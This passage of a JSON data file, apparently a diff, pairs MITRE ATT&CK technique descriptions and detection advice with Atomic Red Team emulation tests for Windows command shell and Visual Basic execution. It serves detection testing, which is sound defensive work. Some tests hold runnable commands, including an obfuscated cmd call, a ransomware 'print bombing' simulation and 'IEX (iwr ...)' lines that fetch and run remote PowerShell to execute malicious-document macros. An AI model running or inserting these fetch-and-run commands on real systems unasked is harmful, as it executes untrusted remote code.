"https://www.slideshare.net/kieranjacobsen/lateral-movement-with-power-shell-2", - "description": "Jacobsen, K. (2014, May 16). Lateral Movement with PowerShell[slides]. Retrieved November 12, 2014.", - "source_name": "Jacobsen 2014" - }, - { - "source_name": "Medium Detecting Lateral Movement", - "url": "https://medium.com/threatpunter/detecting-lateral-movement-using-sysmon-and-splunk-318d3be141bc", - "description": "French, D. (2018, September 30). Detecting Lateral Movement Using Sysmon and Splunk. Retrieved October 11, 2019." - } - ], - "modified": "2020-02-11T18:30:20.937Z", - "name": "Windows Remote Management", - "description": "Windows Remote Management (WinRM) is the name of both a Windows service and a protocol that allows a user to interact with a remote system (e.g., run an executable, modify the Registry, modify services). (Citation: Microsoft WinRM) It may be called with the winrm command or by any number of programs such as PowerShell. (Citation: Jacobsen 2014)", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "execution" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "lateral-movement" - } - ], - "x_mitre_detection": "Monitor use of WinRM within an environment by tracking service execution. If it is not normally used or is disabled, then this may be an indicator of suspicious behavior. Monitor processes created and actions taken by the WinRM process or a WinRM invoked script to correlate it with other related events. (Citation: Medium Detecting Lateral Movement)", - "x_mitre_version": "1.1", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_permissions_required": [ - "User", - "Administrator" - ], - "x_mitre_system_requirements": [ - "WinRM listener turned on and configured on remote system" - ], - "x_mitre_remote_support": true - }, - "atomic_tests": [] - }, - "T1059.006": { - "technique": { - "x_mitre_platforms": [ - "Linux", - "Windows", - "macOS" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--cc3502b5-30cc-4473-ad48-42d51a6ef6d1", - "type": "attack-pattern", - "created": "2020-03-09T14:38:24.334Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1059.006", - "url": "https://attack.mitre.org/techniques/T1059/006" - } - ], - "modified": "2021-07-26T22:49:23.094Z", - "name": "Command and Scripting Interpreter: Python", - "description": "Adversaries may abuse Python commands and scripts for execution. Python is a very popular scripting/programming language, with capabilities to perform many functions. Python can be executed interactively from the command-line (via the python.exe interpreter) or via scripts (.py) that can be written and distributed to different systems. Python code can also be compiled into binary executables.\n\nPython comes with many built-in packages to interact with the underlying system, such as file operations and device I/O. Adversaries can use these libraries to download and execute commands or other scripts as well as perform various malicious behaviors.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "execution" - } - ], - "x_mitre_detection": "Monitor systems for abnormal Python usage and python.exe behavior, which could be an indicator of malicious activity. Understanding standard usage patterns is important to avoid a high number of false positives. If scripting is restricted for normal users, then any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.\n\nScripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information Discovery, Collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script.", - "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "Command: Command Execution", - "Process: Process Creation" - ], - "x_mitre_permissions_required": [ - "Administrator", - "SYSTEM", - "root" - ], - "x_mitre_system_requirements": [ - "Python is installed." - ], - "identifier": "T1059.006" - }, - "atomic_tests": [] - }, - "T1569": { - "technique": { - "x_mitre_platforms": [ - "Windows", - "macOS", - "Linux" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--d157f9d2-d09a-4efa-bb2a-64963f94e253", - "type": "attack-pattern", - "created": "2020-03-10T18:23:06.482Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1569", - "url": "https://attack.mitre.org/techniques/T1569" - } - ], - "modified": "2022-03-22T17:29:46.189Z", - "name": "System Services", - "description": "Adversaries may abuse system services or daemons to execute commands or programs. Adversaries can execute malicious content by interacting with or creating services either locally or remotely. Many services are set to run at boot, which can aid in achieving persistence ([Create or Modify System Process](https://attack.mitre.org/techniques/T1543)), but adversaries can also abuse services for one-time or temporary execution.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "execution" - } - ], - "x_mitre_detection": "Monitor for command line invocations of tools capable of modifying services that doesn\u2019t correspond to normal usage patterns and known software, patch cycles, etc. Also monitor for changes to executables and other files associated with services. Changes to Windows services may also be reflected in the Registry.", - "x_mitre_version": "1.2", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "Windows Registry: Windows Registry Key Modification", - "Command: Command Execution", - "Service: Service Creation", - "File: File Modification", - "Process: Process Creation" - ], - "x_mitre_permissions_required": [ - "User", - "Administrator", - "SYSTEM", - "root" - ], - "x_mitre_remote_support": true - }, - "atomic_tests": [] - }, - "T1059.003": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", - "type": "attack-pattern", - "created": "2020-03-09T14:12:31.196Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1059.003", - "url": "https://attack.mitre.org/techniques/T1059/003" - }, - { - "source_name": "SSH in Windows", - "url": "https://docs.microsoft.com/en-us/windows/terminal/tutorials/ssh", - "description": "Microsoft. (2020, May 19). Tutorial: SSH in Windows Terminal. Retrieved July 26, 2021." - } - ], - "modified": "2021-07-26T17:13:07.345Z", - "name": "Command and Scripting Interpreter: Windows Command Shell", - "description": "Adversaries may abuse the Windows command shell for execution. The Windows command shell ([cmd](https://attack.mitre.org/software/S0106)) is the primary command prompt on Windows systems. The Windows command prompt can be used to control almost any aspect of a system, with various permission levels required for different subsets of commands. The command prompt can be invoked remotely via [Remote Services](https://attack.mitre.org/techniques/T1021) such as [SSH](https://attack.mitre.org/techniques/T1021/004).(Citation: SSH in Windows)\n\nBatch files (ex: .bat or .cmd) also provide the shell with a list of sequential commands to run, as well as normal scripting operations such as conditionals and loops. Common uses of batch files include long or repetitive tasks, or the need to run the same set of commands on multiple systems.\n\nAdversaries may leverage [cmd](https://attack.mitre.org/software/S0106) to execute various commands and payloads. Common uses include [cmd](https://attack.mitre.org/software/S0106) to execute a single command, or abusing [cmd](https://attack.mitre.org/software/S0106) interactively with input and output forwarded over a command and control channel.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "execution" - } - ], - "x_mitre_detection": "Usage of the Windows command shell may be common on administrator, developer, or power user systems depending on job function. If scripting is restricted for normal users, then any attempt to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.\n\nScripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information Discovery, Collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script.", - "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.2", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "Command: Command Execution", - "Process: Process Creation" - ], - "x_mitre_permissions_required": [ - "User" - ], - "x_mitre_remote_support": true, - "identifier": "T1059.003" - }, - "atomic_tests": [ - { - "name": "Create and Execute Batch Script", - "auto_generated_guid": "9e8894c0-50bd-4525-a96c-d4ac78ece388", - "description": "Creates and executes a simple batch script. Upon execution, CMD will briefly launch to run the batch script then close again.\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "command_to_execute": { - "description": "Command to execute within script.", - "type": "string", - "default": "dir" - }, - "script_path": { - "description": "Script path.", - "type": "path", - "default": "$env:TEMP\\T1059.003_script.bat" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "Batch file must exist on disk at specified location (#{script_path})\n", - "prereq_command": "if (Test-Path #{script_path}) {exit 0} else {exit 1}\n", - "get_prereq_command": "New-Item #{script_path} -Force | Out-Null\nSet-Content -Path #{script_path} -Value \"#{command_to_execute}\"\n" - } - ], - "executor": { - "command": "Start-Process #{script_path}\n", - "cleanup_command": "Remove-Item #{script_path} -Force -ErrorAction Ignore\n", - "name": "powershell" - } - }, - { - "name": "Writes text to a file and displays it.", - "auto_generated_guid": "127b4afe-2346-4192-815c-69042bec570e", - "description": "Writes text to a file and display the results. This test is intended to emulate the dropping of a malicious file to disk.\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "file_contents_path": { - "description": "Path to the file that the command prompt will drop.", - "type": "path", - "default": "%TEMP%\\test.bin" - }, - "message": { - "description": "Message that will be written to disk and then displayed.", - "type": "string", - "default": "Hello from the Windows Command Prompt!" - } - }, - "executor": { - "command": "echo \"#{message}\" > \"#{file_contents_path}\" & type \"#{file_contents_path}\"\n", - "cleanup_command": "del \"#{file_contents_path}\" >nul 2>&1\n", - "name": "command_prompt" - } - }, - { - "name": "Suspicious Execution via Windows Command Shell", - "auto_generated_guid": "d0eb3597-a1b3-4d65-b33b-2cda8d397f20", - "description": "Command line executed via suspicious invocation. Example is from the 2021 Threat Detection Report by Red Canary.\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "output_file": { - "description": "File to output to", - "type": "string", - "default": "hello.txt" - }, - "input_message": { - "description": "Message to write to file", - "type": "string", - "default": "Hello, from CMD!" - } - }, - "executor": { - "command": "%LOCALAPPDATA:~-3,1%md /c echo #{input_message} > #{output_file} & type #{output_file}\n", - "name": "command_prompt" - } - }, - { - "name": "Simulate BlackByte Ransomware Print Bombing", - "auto_generated_guid": "6b2903ac-8f36-450d-9ad5-b220e8a2dcb9", - "description": "This test attempts to open a file a specified number of times in Wordpad, then prints the contents. \nIt is designed to mimic BlackByte ransomware's print bombing technique, where tree.dll, which contains the ransom note, is opened in Wordpad 75 times and then printed. \nSee https://redcanary.com/blog/blackbyte-ransomware/. \n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "file_to_print": { - "description": "File to be opened/printed by Wordpad.", - "type": "string", - "default": "$env:temp\\T1059_003note.txt" - }, - "max_to_print": { - "description": "The maximum number of Wordpad windows the test will open/print.", - "type": "string", - "default": 75 - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "File to print must exist on disk at specified location (#{file_to_print})\n", - "prereq_command": "if (test-path \"#{file_to_print}\"){exit 0} else {exit 1}\n", - "get_prereq_command": "new-item #{file_to_print} -value \"This file has been created by T1059.003 Test 4\" -Force | Out-Null\n" - } - ], - "executor": { - "command": "cmd /c \"for /l %x in (1,1,#{max_to_print}) do start wordpad.exe /p #{file_to_print}\" | out-null\n", - "cleanup_command": "stop-process -name wordpad -force -erroraction silentlycontinue\n", - "name": "powershell" - } - }, - { - "name": "Command Prompt read contents from CMD file and execute", - "auto_generated_guid": "df81db1b-066c-4802-9bc8-b6d030c3ba8e", - "description": "Simulate Raspberry Robin using the \"standard-in\" command prompt feature cmd `/R <` to read and execute a file via cmd.exe\nSee https://redcanary.com/blog/raspberry-robin/. \n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "input_file": { - "description": "CMD file that is read by Command Prompt and execute, which launches calc.exe", - "type": "path", - "default": "PathToAtomicsFolder\\T1059.003\\src\\t1059.003_cmd.cmd" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "CMD file must exist on disk at specified location (#{input_file})\n", - "prereq_command": "if (Test-Path #{input_file}) {exit 0} else {exit 1}\n", - "get_prereq_command": "New-Item -Type Directory (split-path #{input_file}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1059.003/src/t1059.003_cmd.cmd\" -OutFile \"#{input_file}\"\n" - } - ], - "executor": { - "command": "cmd /r cmd<#{input_file}\n", - "name": "command_prompt", - "elevation_required": false - } - } - ] - }, - "T1223": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Rahmat Nurfauzi, @infosecn1nja, PT Xynexis International" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--d21a2069-23d5-4043-ad6d-64f6b644cb1a", - "type": "attack-pattern", - "created": "2018-10-17T00:14:20.652Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "revoked": true, - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1223", - "url": "https://attack.mitre.org/techniques/T1223" - }, - { - "source_name": "Microsoft HTML Help May 2018", - "description": "Microsoft. (2018, May 30). Microsoft HTML Help 1.4. Retrieved October 3, 2018.", - "url": "https://docs.microsoft.com/previous-versions/windows/desktop/htmlhelp/microsoft-html-help-1-4-sdk" - }, - { - "source_name": "Microsoft HTML Help ActiveX", - "description": "Microsoft. (n.d.). HTML Help ActiveX Control Overview. Retrieved October 3, 2018.", - "url": "https://msdn.microsoft.com/windows/desktop/ms644670" - }, - { - "url": "https://msdn.microsoft.com/windows/desktop/ms524405", - "description": "Microsoft. (n.d.). About the HTML Help Executable Program. Retrieved October 3, 2018.", - "source_name": "Microsoft HTML Help Executable Program" - }, - { - "url": "https://msitpros.com/?p=3909", - "description": "Moe, O. (2017, August 13). Bypassing Device guard UMCI using CHM \u2013 CVE-2017-8625. Retrieved October 3, 2018.", - "source_name": "MsitPros CHM Aug 2017" - }, - { - "url": "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8625", - "description": "Microsoft. (2017, August 8). CVE-2017-8625 - Internet Explorer Security Feature Bypass Vulnerability. Retrieved October 3, 2018.", - "source_name": "Microsoft CVE-2017-8625 Aug 2017" - } - ], - "modified": "2020-01-31T18:59:00.845Z", - "name": "Compiled HTML File", - "description": "Compiled HTML files (.chm) are commonly distributed as part of the Microsoft HTML Help system. CHM files are compressed compilations of various content such as HTML documents, images, and scripting/web related programming languages such VBA, JScript, Java, and ActiveX. (Citation: Microsoft HTML Help May 2018) CHM content is displayed using underlying components of the Internet Explorer browser (Citation: Microsoft HTML Help ActiveX) loaded by the HTML Help executable program (hh.exe). (Citation: Microsoft HTML Help Executable Program)\n\nAdversaries may abuse this technology to conceal malicious code. A custom CHM file containing embedded payloads could be delivered to a victim then triggered by [User Execution](https://attack.mitre.org/techniques/T1204). CHM execution may also bypass application whitelisting on older and/or unpatched systems that do not account for execution of binaries through hh.exe. (Citation: MsitPros CHM Aug 2017) (Citation: Microsoft CVE-2017-8625 Aug 2017)", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "execution" - } - ], - "x_mitre_detection": "Monitor and analyze the execution and arguments of hh.exe. (Citation: MsitPros CHM Aug 2017) Compare recent invocations of hh.exe with prior history of known good arguments to determine anomalous and potentially adversarial activity (ex: obfuscated and/or malicious commands). Non-standard process execution trees may also indicate suspicious or malicious behavior, such as if hh.exe is the parent process for suspicious processes and activity relating to other adversarial techniques.\n\nMonitor presence and use of CHM files, especially if they are not typically used within an environment.", - "x_mitre_version": "1.1", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_defense_bypassed": [ - "Application whitelisting", - "Digital Certificate Validation" - ], - "x_mitre_permissions_required": [ - "User" - ] - }, - "atomic_tests": [] - }, - "T1059.005": { - "technique": { - "x_mitre_platforms": [ - "Windows", - "macOS", - "Linux" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", - "type": "attack-pattern", - "created": "2020-03-09T14:29:51.508Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1059.005", - "url": "https://attack.mitre.org/techniques/T1059/005" - }, - { - "source_name": "VB .NET Mar 2020", - "url": "https://devblogs.microsoft.com/vbteam/visual-basic-support-planned-for-net-5-0/", - "description": ".NET Team. (2020, March 11). Visual Basic support planned for .NET 5.0. Retrieved June 23, 2020." - }, - { - "source_name": "VB Microsoft", - "url": "https://docs.microsoft.com/dotnet/visual-basic/", - "description": "Microsoft. (n.d.). Visual Basic documentation. Retrieved June 23, 2020." - }, - { - "source_name": "Microsoft VBA", - "url": "https://docs.microsoft.com/office/vba/api/overview/", - "description": "Microsoft. (2019, June 11). Office VBA Reference. Retrieved June 23, 2020." - }, - { - "source_name": "Wikipedia VBA", - "url": "https://en.wikipedia.org/wiki/Visual_Basic_for_Applications", - "description": "Wikipedia. (n.d.). Visual Basic for Applications. Retrieved August 13, 2020." - }, - { - "source_name": "Microsoft VBScript", - "url": "https://docs.microsoft.com/previous-versions//1kw29xwf(v=vs.85)", - "description": "Microsoft. (2011, April 19). What Is VBScript?. Retrieved March 28, 2020." - }, - { - "source_name": "Default VBS macros Blocking ", - "url": "https://techcommunity.microsoft.com/t5/microsoft-365-blog/helping-users-stay-safe-blocking-internet-macros-by-default-in/ba-p/3071805", - "description": "Kellie Eickmeyer. (2022, February 7). Helping users stay safe: Blocking internet macros by default in Office. Retrieved February 7, 2022." - } - ], - "modified": "2022-03-07T19:43:49.315Z", - "name": "Command and Scripting Interpreter: Visual Basic", - "description": "Adversaries may abuse Visual Basic (VB) for execution. VB is a programming language created by Microsoft with interoperability with many Windows technologies such as [Component Object Model](https://attack.mitre.org/techniques/T1559/001) and the [Native API](https://attack.mitre.org/techniques/T1106) through the Windows API. Although tagged as legacy with no planned future evolutions, VB is integrated and supported in the .NET Framework and cross-platform .NET Core.(Citation: VB .NET Mar 2020)(Citation: VB Microsoft)\n\nDerivative languages based on VB have also been created, such as Visual Basic for Applications (VBA) and VBScript. VBA is an event-driven programming language built into Microsoft Office, as well as several third-party applications.(Citation: Microsoft VBA)(Citation: Wikipedia VBA) VBA enables documents to contain macros used to automate the execution of tasks and other functionality on the host. VBScript is a default scripting language on Windows hosts and can also be used in place of [JavaScript](https://attack.mitre.org/techniques/T1059/007) on HTML Application (HTA) webpages served to Internet Explorer (though most modern browsers do not come with VBScript support).(Citation: Microsoft VBScript)\n\nAdversaries may use VB payloads to execute malicious commands. Common malicious usage includes automating execution of behaviors with VBScript or embedding VBA content into [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001) payloads (which may also involve [Mark-of-the-Web Bypass](https://attack.mitre.org/techniques/T1553/005) to enable execution).(Citation: Default VBS macros Blocking )", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "execution" - } - ], - "x_mitre_detection": "Monitor for events associated with VB execution, such as Office applications spawning processes, usage of the Windows Script Host (typically cscript.exe or wscript.exe), file activity involving VB payloads or scripts, or loading of modules associated with VB languages (ex: vbscript.dll). VB execution is likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for execution and subsequent behavior. Actions may be related to network and system information [Discovery](https://attack.mitre.org/tactics/TA0007), [Collection](https://attack.mitre.org/tactics/TA0009), or other programable post-compromise behaviors and could be used as indicators of detection leading back to the source.\n\nUnderstanding standard usage patterns is important to avoid a high number of false positives. If VB execution is restricted for normal users, then any attempts to enable related components running on a system would be considered suspicious. If VB execution is not commonly used on a system, but enabled, execution running out of cycle from patching or other administrator functions is suspicious. Payloads and scripts should be captured from the file system when possible to determine their actions and intent.", - "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.3", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "Script: Script Execution", - "Command: Command Execution", - "Module: Module Load", - "Process: Process Creation" - ], - "x_mitre_permissions_required": [ - "User", - "Administrator", - "SYSTEM" - ], - "identifier": "T1059.005" - }, - "atomic_tests": [ - { - "name": "Visual Basic script execution to gather local computer information", - "auto_generated_guid": "1620de42-160a-4fe5-bbaf-d3fef0181ce9", - "description": "Visual Basic execution test, execute vbscript via PowerShell.\n\nWhen successful, system information will be written to $env:TEMP\\T1059.005.out.txt.", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "vbscript": { - "description": "Path to sample script", - "type": "string", - "default": "PathToAtomicsFolder\\T1059.005\\src\\sys_info.vbs" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "Sample script must exist on disk at specified location (#{vbscript})", - "prereq_command": "if (Test-Path #{vbscript}) {exit 0} else {exit 1} ", - "get_prereq_command": "New-Item -ItemType Directory (Split-Path #{vbscript}) -Force | Out-Null\nInvoke-WebRequest \"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.005/src/sys_info.vbs\" -OutFile \"#{vbscript}\"" - } - ], - "executor": { - "command": "cscript #{vbscript} > $env:TEMP\\T1059.005.out.txt", - "cleanup_command": "Remove-Item $env:TEMP\\T1059.005.out.txt -ErrorAction Ignore", - "name": "powershell" - } - }, - { - "name": "Encoded VBS code execution", - "auto_generated_guid": "e8209d5f-e42d-45e6-9c2f-633ac4f1eefa", - "description": "This module takes an encoded VBS script and executes it from within a malicious document. By default, upon successful execution\na message box will pop up displaying \"ART T1059.005\"\n\nA note regarding this module, due to the way that this module utilizes \"ScriptControl\" a 64bit version of Microsoft Office is required.\nYou can validate this by opening WinWord -> File -> Account -> About Word\n", - "supported_platforms": [ - "windows" - ], - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "The 64-bit version of Microsoft Office must be installed\n", - "prereq_command": "try {\n $wdApp = New-Object -COMObject \"Word.Application\"\n $path = $wdApp.Path\n Stop-Process -Name \"winword\"\n if ($path.contains(\"(x86)\")) { exit 1 } else { exit 0 }\n} catch { exit 1 }\n", - "get_prereq_command": "Write-Host \"You will need to install Microsoft Word (64-bit) manually to meet this requirement\"\n" - } - ], - "executor": { - "command": "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1\" -UseBasicParsing)\nInvoke-Maldoc -macroFile \"PathToAtomicsFolder\\T1059.005\\src\\T1059.005-macrocode.txt\" -officeProduct \"Word\" -sub \"Exec\"\n", - "cleanup_command": "Get-WmiObject win32_process | Where-Object {$_.CommandLine -like \"*mshta*\"} | % { \"$(Stop-Process $_.ProcessID)\" } | Out-Null\n", - "name": "powershell" - } - }, - { - "name": "Extract Memory via VBA", - "auto_generated_guid": "8faff437-a114-4547-9a60-749652a03df6", - "description": "This module attempts to emulate malware authors utilizing well known techniques to extract data from memory/binary files. To do this\nwe first create a string in memory then pull out the pointer to that string. Finally, it uses this pointer to copy the contents of that\nmemory location to a file stored in the $env:TEMP\\atomic_t1059_005_test_output.bin.\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "ms_product": { - "description": "Maldoc application Word", - "type": "string", - "default": "Word" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "Microsoft #{ms_product} must be installed\n", - "prereq_command": "try {\n New-Object -COMObject \"#{ms_product}.Application\" | Out-Null\n $process = \"#{ms_product}\"; if ( $process -eq \"Word\") {$process = \"winword\"}\n Stop-Process -Name $process\n exit 0\n} catch { exit 1 }\n", - "get_prereq_command": "Write-Host \"You will need to install Microsoft #{ms_product} manually to meet this requirement\"\n" - } - ], - "executor": { - "command": "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1\" -UseBasicParsing) \nInvoke-Maldoc -macroFile \"PathToAtomicsFolder\\T1059.005\\src\\T1059_005-macrocode.txt\" -officeProduct \"Word\" -sub \"Extract\"\n", - "cleanup_command": "Remove-Item \"$env:TEMP\\atomic_t1059_005_test_output.bin\" -ErrorAction Ignore\n", - "name": "powershell" - } - } - ] - }, - "T1151": { - "technique": { - "x_mitre_platforms": [ - "Linux", - "macOS" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Erye Hernandez, Palo Alto Networks" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--e2907cea-4b43-4ed7-a570-0fdf0fbeea00", - "type": "attack-pattern", - "created": "2017-12-14T16:46:06.044Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "revoked": true, - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1151", - "url": "https://attack.mitre.org/techniques/T1151" - }, - { - "external_id": "CAPEC-649", - "source_name": "capec", - "url": "https://capec.mitre.org/data/definitions/649.html" - }, - { - "url": "https://arstechnica.com/security/2016/07/after-hiatus-in-the-wild-mac-backdoors-are-suddenly-back/", - "description": "Dan Goodin. (2016, July 6). After hiatus, in-the-wild Mac backdoors are suddenly back. Retrieved July 8, 2017.", - "source_name": "Mac Backdoors are back" - } - ], - "modified": "2020-02-10T20:49:12.897Z", - "name": "Space after Filename", - "description": "Adversaries can hide a program's true filetype by changing the extension of a file. With certain file types (specifically this does not work with .app extensions), appending a space to the end of a filename will change how the file is processed by the operating system. For example, if there is a Mach-O executable file called evil.bin, when it is double clicked by a user, it will launch Terminal.app and execute. If this file is renamed to evil.txt, then when double clicked by a user, it will launch with the default text editing application (not executing the binary). However, if the file is renamed to \"evil.txt \" (note the space at the end), then when double clicked by a user, the true file type is determined by the OS and handled appropriately and the binary will be executed (Citation: Mac Backdoors are back). \n\nAdversaries can use this feature to trick users into double clicking benign-looking files of any format and ultimately executing something malicious.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "execution" - } - ], - "x_mitre_detection": "It's not common for spaces to be at the end of filenames, so this is something that can easily be checked with file monitoring. From the user's perspective though, this is very hard to notice from within the Finder.app or on the command-line in Terminal.app. Processes executed from binaries containing non-standard extensions in the filename are suspicious.", - "x_mitre_version": "1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_permissions_required": [ - "User" - ] - }, - "atomic_tests": [] - }, - "T1173": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--edbe24e9-aec4-4994-ac75-6a6bc7f1ddd0", - "type": "attack-pattern", - "created": "2018-01-16T16:13:52.465Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "revoked": true, - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1173", - "url": "https://attack.mitre.org/techniques/T1173" - }, - { - "url": "https://www.bleepingcomputer.com/news/microsoft/microsoft-disables-dde-feature-in-word-to-prevent-further-malware-attacks/", - "description": "Cimpanu, C. (2017, December 15). Microsoft Disables DDE Feature in Word to Prevent Further Malware Attacks. Retrieved December 19, 2017.", - "source_name": "BleepingComputer DDE Disabled in Word Dec 2017" - }, - { - "url": "https://portal.msrc.microsoft.com/security-guidance/advisory/ADV170021", - "description": "Microsoft. (2017, December 12). ADV170021 - Microsoft Office Defense in Depth Update. Retrieved February 3, 2018.", - "source_name": "Microsoft ADV170021 Dec 2017" - }, - { - "url": "https://technet.microsoft.com/library/security/4053440", - "description": "Microsoft. (2017, November 8). Microsoft Security Advisory 4053440 - Securely opening Microsoft Office documents that contain Dynamic Data Exchange (DDE) fields. Retrieved November 21, 2017.", - "source_name": "Microsoft DDE Advisory Nov 2017" - }, - { - "url": "https://sensepost.com/blog/2016/powershell-c-sharp-and-dde-the-power-within/", - "description": "El-Sherei, S. (2016, May 20). PowerShell, C-Sharp and DDE The Power Within. Retrieved November 22, 2017.", - "source_name": "SensePost PS DDE May 2016" - }, - { - "url": "https://www.contextis.com/blog/comma-separated-vulnerabilities", - "description": "Kettle, J. (2014, August 29). Comma Separated Vulnerabilities. Retrieved November 22, 2017.", - "source_name": "Kettle CSV DDE Aug 2014" - }, - { - "url": "https://posts.specterops.io/reviving-dde-using-onenote-and-excel-for-code-execution-d7226864caee", - "description": "Nelson, M. (2018, January 29). Reviving DDE: Using OneNote and Excel for Code Execution. Retrieved February 3, 2018.", - "source_name": "Enigma Reviving DDE Jan 2018" - }, - { - "url": "https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/", - "description": "Stalmans, E., El-Sherei, S. (2017, October 9). Macro-less Code Exec in MSWord. Retrieved November 21, 2017.", - "source_name": "SensePost MacroLess DDE Oct 2017" - }, - { - "url": 